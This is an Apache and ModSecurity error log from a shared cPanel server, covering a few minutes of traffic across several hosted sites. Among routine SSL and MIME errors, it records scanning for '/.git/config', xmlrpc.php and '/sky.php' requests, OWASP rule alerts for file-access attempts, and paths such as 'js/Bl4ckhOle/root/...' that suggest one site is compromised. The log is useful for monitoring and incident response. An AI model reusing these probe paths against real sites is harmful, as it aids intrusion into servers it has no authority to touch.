[Fri Jul 17 10:00:34.111931 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:49114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:34.213432 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:49124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:34.415542 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:49148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:38.417803 2026] [security2:error] [pid 2063443:tid 2063443] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almv7ji4bgtV9qY-DRRZNwAAABg"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:00:38.417837 2026] [security2:error] [pid 2063443:tid 2063443] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almv7ji4bgtV9qY-DRRZNwAAABg"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 10:00:42.558375 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:42.572961 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.330393 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:60128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:44.330708 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:60134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:44.369879 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.417098 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:60150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:44.603273 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.620219 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:60166] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:44.691311 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.746291 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 47.79.15.4:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:66/device/device/input/input4/device/drvctl
[Fri Jul 17 10:00:44.778203 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.780770 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:44.819782 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:60174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:45.059430 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:45.124529 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:45.135573 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:45.140137 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:45.148680 2026] [core:error] [pid 2063463:tid 2063463] (13)Permission denied: [client 47.79.10.7:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/home-cagefs\\x2dskeleton-usr-local-cpanel-Cpanel.mount/memory.force_empty
[Fri Jul 17 10:00:47.838387 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:47.965299 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.054012 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.107855 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.145497 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.233263 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.319819 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.415237 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.468411 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.490398 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.651988 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.654591 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.834703 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:48.869500 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:49.655788 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:60480] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:49.821083 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:49.856200 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:60486] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:50.159430 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:60498] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:50.197135 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.300777 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:60528] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:50.397016 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.562845 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.577214 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.631823 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.656860 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.677983 2026] [mime:warn] [pid 2064882:tid 2064882] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:00:50.927754 2026] [security2:error] [pid 2065296:tid 2065296] [client 134.122.124.74:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.visionsolutionshospital.com"] [uri "/.git/config"] [unique_id "almv-qalZQB2GOvLY17cPgAAAAc"]
[Fri Jul 17 10:00:50.927962 2026] [security2:error] [pid 2065296:tid 2065296] [client 134.122.124.74:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.visionsolutionshospital.com"] [uri "/.git/config"] [unique_id "almv-qalZQB2GOvLY17cPgAAAAc"]
[Fri Jul 17 10:00:50.928372 2026] [security2:error] [pid 2065296:tid 2065296] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.visionsolutionshospital.com"] [uri "/.git/config"] [unique_id "almv-qalZQB2GOvLY17cPgAAAAc"]
[Fri Jul 17 10:00:51.248021 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:60598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:51.312427 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:52.540912 2026] [ssl:error] [pid 2064882:tid 2064882] (70014)End of file found: [client 66.85.158.91:51292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:53.331108 2026] [security2:error] [pid 2065296:tid 2065296] [client 134.122.124.74:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.visionsolutionshospital.com"] [uri "/index.php"] [unique_id "almv-qalZQB2GOvLY17cPgAAAAc"]
[Fri Jul 17 10:00:54.008518 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:51406] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:55.079547 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:51482] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:55.305755 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:51526] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:55.533267 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:51548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:55.553809 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:55.986123 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:51596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:56.458740 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 114.119.138.100:0] AH01071: Got error 'Primary script unknown', referer: https://www.anandaobauae.org/news.php?page=2
[Fri Jul 17 10:00:58.474531 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:51728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:58.561658 2026] [ssl:error] [pid 2063883:tid 2063883] (5)Input/output error: [client 66.85.158.91:51742] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:00:59.489425 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:51810] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:02.167930 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:58230] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:04.037283 2026] [security2:error] [pid 2063889:tid 2063889] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwCOm5CUZD8nfUE72u2QAAAAo"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:01:04.037447 2026] [security2:error] [pid 2063889:tid 2063889] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almwCOm5CUZD8nfUE72u2QAAAAo"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:01:04.701069 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:58358] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:04.830948 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:58360] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:05.150236 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:58414] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:06.291185 2026] [ssl:error] [pid 2064883:tid 2064883] (70014)End of file found: [client 66.85.158.91:58454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:07.476555 2026] [ssl:error] [pid 2047046:tid 2047046] (5)Input/output error: [client 66.85.158.91:58530] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:08.670557 2026] [security2:error] [pid 2063442:tid 2063442] [client 103.135.95.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almwDKTW5eFi1WFCzw0WaAAAABc"]
[Fri Jul 17 10:01:08.670592 2026] [security2:error] [pid 2063442:tid 2063442] [client 103.135.95.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/xmlrpc.php"] [unique_id "almwDKTW5eFi1WFCzw0WaAAAABc"]
[Fri Jul 17 10:01:08.925605 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:58582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:09.515894 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almwDNKHXJzatLSGO6IsNAAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1188&page_105=1828
[Fri Jul 17 10:01:09.515924 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almwDNKHXJzatLSGO6IsNAAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1188&page_105=1828
[Fri Jul 17 10:01:09.978566 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:58604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:11.175915 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:58696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:11.476251 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:50314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:12.388340 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:50366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:13.399159 2026] [core:error] [pid 2064882:tid 2064882] (13)Permission denied: [client 57.141.18.86:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory93/subsystem/devices/memory103/subsystem/devices/memory61/node0/memory135/node0/memory120/subsystem/drivers_probe
[Fri Jul 17 10:01:14.288710 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:50486] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:14.473574 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.61:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory126/node0/memory63/node0/memory121/"] [unique_id "almwEpBVIrrUwtEhdafc8wAAAAU"]
[Fri Jul 17 10:01:14.473612 2026] [security2:error] [pid 2039911:tid 2039911] [client 57.141.18.61:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory126/node0/memory63/node0/memory121/"] [unique_id "almwEpBVIrrUwtEhdafc8wAAAAU"]
[Fri Jul 17 10:01:17.195151 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:50644] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:17.499344 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:50678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:18.099574 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:50750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:23.098040 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:56882] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:24.513871 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almwHGTem5UnhuySh-0nQQAAAAA"]
[Fri Jul 17 10:01:24.513927 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almwHGTem5UnhuySh-0nQQAAAAA"]
[Fri Jul 17 10:01:26.486213 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:56978] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:30.883920 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:57160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:30.889417 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:57168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:30.892876 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:57164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:30.894443 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:57182] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:34.078662 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:51936] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:34.426712 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:51940] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:36.079149 2026] [ssl:error] [pid 2065293:tid 2065293] (70014)End of file found: [client 66.85.158.91:52114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:36.306647 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:52142] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:36.535695 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:52156] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:36.758377 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:52204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:41.027196 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.189397 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.352895 2026] [proxy_fcgi:error] [pid 2064883:tid 2064883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.512060 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.512257 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:59958] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:01:41.674125 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.835328 2026] [proxy_fcgi:error] [pid 2065297:tid 2065297] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:41.997272 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.159659 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.326695 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.488684 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.650846 2026] [proxy_fcgi:error] [pid 2063442:tid 2063442] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.697986 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:42.811251 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.884966 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:42.948813 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:42.972765 2026] [proxy_fcgi:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:42.973269 2026] [security2:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/simpurit-global": Permission denied [hostname "simpurity.lk"] [uri "/sky.php"] [unique_id "almwLnv42nOn2tp5Eua1qgAAABA"]
[Fri Jul 17 10:01:42.973285 2026] [security2:error] [pid 2060590:tid 2060590] [client 20.206.89.130:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/simpurit-ip": Permission denied [hostname "simpurity.lk"] [uri "/sky.php"] [unique_id "almwLnv42nOn2tp5Eua1qgAAABA"]
[Fri Jul 17 10:01:43.133451 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.150956 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:43.155461 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:43.172738 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:43.297753 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.331113 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:43.463141 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.624833 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.779989 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:01:43.783756 2026] [proxy_fcgi:error] [pid 2063463:tid 2063463] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.786054 2026] [proxy_fcgi:error] [pid 2063895:tid 2063895] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:43.947523 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.111483 2026] [proxy_fcgi:error] [pid 2063889:tid 2063889] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.273539 2026] [proxy_fcgi:error] [pid 2063883:tid 2063883] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.436957 2026] [proxy_fcgi:error] [pid 2063441:tid 2063441] [client 20.206.89.130:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:01:44.565158 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 47.82.14.29:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/virtio-pci/0000:00:03.0/remove
